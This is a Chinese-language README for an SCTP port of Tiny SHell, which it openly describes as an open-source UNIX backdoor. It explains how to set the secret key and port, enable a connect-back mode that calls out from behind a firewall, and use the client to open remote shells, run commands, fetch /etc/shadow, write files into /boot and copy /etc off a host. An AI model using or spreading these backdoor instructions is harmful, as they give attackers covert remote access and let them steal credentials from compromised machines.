
TinySHell port to SCTP
Tiny SHell - 一款开源的 UNIX 后门
* 编译 Tiny SHell 之前
1. 首先,你应该设置好你的密钥,该密钥位于 tsh.h 中;密钥可以是任意长度(为了更好的安全性,建议至少使用 12 个字符)。
2. 建议更改 SERVER_PORT,即服务器监听传入连接的端口。
3. 如果 tshd 运行在防火墙后的机器上,你可能希望以“连接回连”模式启动它;只需在 tsh.h 中取消注释并修改 CONNECT_BACK_HOST。
* 编译 Tiny SHell
运行 "make <system>",其中 <system> 可以是以下任意一个:
linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf
* 如何使用服务器
在启动服务器之前,设置 $HOME 和文件创建掩码可能会很有用:
% umask 077; HOME=/var/tmp ./tshd
* 如何使用客户端
确保 tshd 已在远程主机上运行。你可以:
- 启动一个 Shell:
./tsh <hostname>
- 执行一条命令:
./tsh <hostname> "uname -a"
- 传输文件:
./tsh <hostname> get /etc/shadow .
./tsh <hostname> put vmlinuz /boot
注意:如果服务器以连接回连模式运行,请将远程主机名替换为 "cb"。
* 关于多个文件传输
目前,Tiny SHell 不支持类似 scp 的多个或递归文件传输。你可以通过制作一个 tar 包然后传输它来绕过这个 bug。示例:
./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf -
* 关于终端模式
在一些不完善的系统上(实际上是 IRIX 和 HP-UX),Ctrl-C 和其他控制键无法正常工作。可以通过以下命令修复:
% stty intr "^C" erase "^H" eof "^D" susp "^Z" kill "^U"
* 关于安全性
请记住,密钥以明文形式同时存储在 tsh 和 tshd 可执行文件中;因此,你应该确保除了你之外没有人有读取这两个文件的权限。不过,你也可以选择不在客户端中存储真实的(有效的)密钥,这样客户端启动时将会询问密码。
* 关于 SCTP 版本的说明:
目前仅在 Archlinux 上测试过,在其他系统上预计会惨败。
是一个相当丑陋的 hack,存在一些编译错误,我计划最终找到并修复它们。
后门文件 (tsh) 的安全性——即密码以明文形式存储——将很快通过仅存储哈希密码来修复。
一旦我有机会访问 hpux、*bsd 等系统,将进行测试。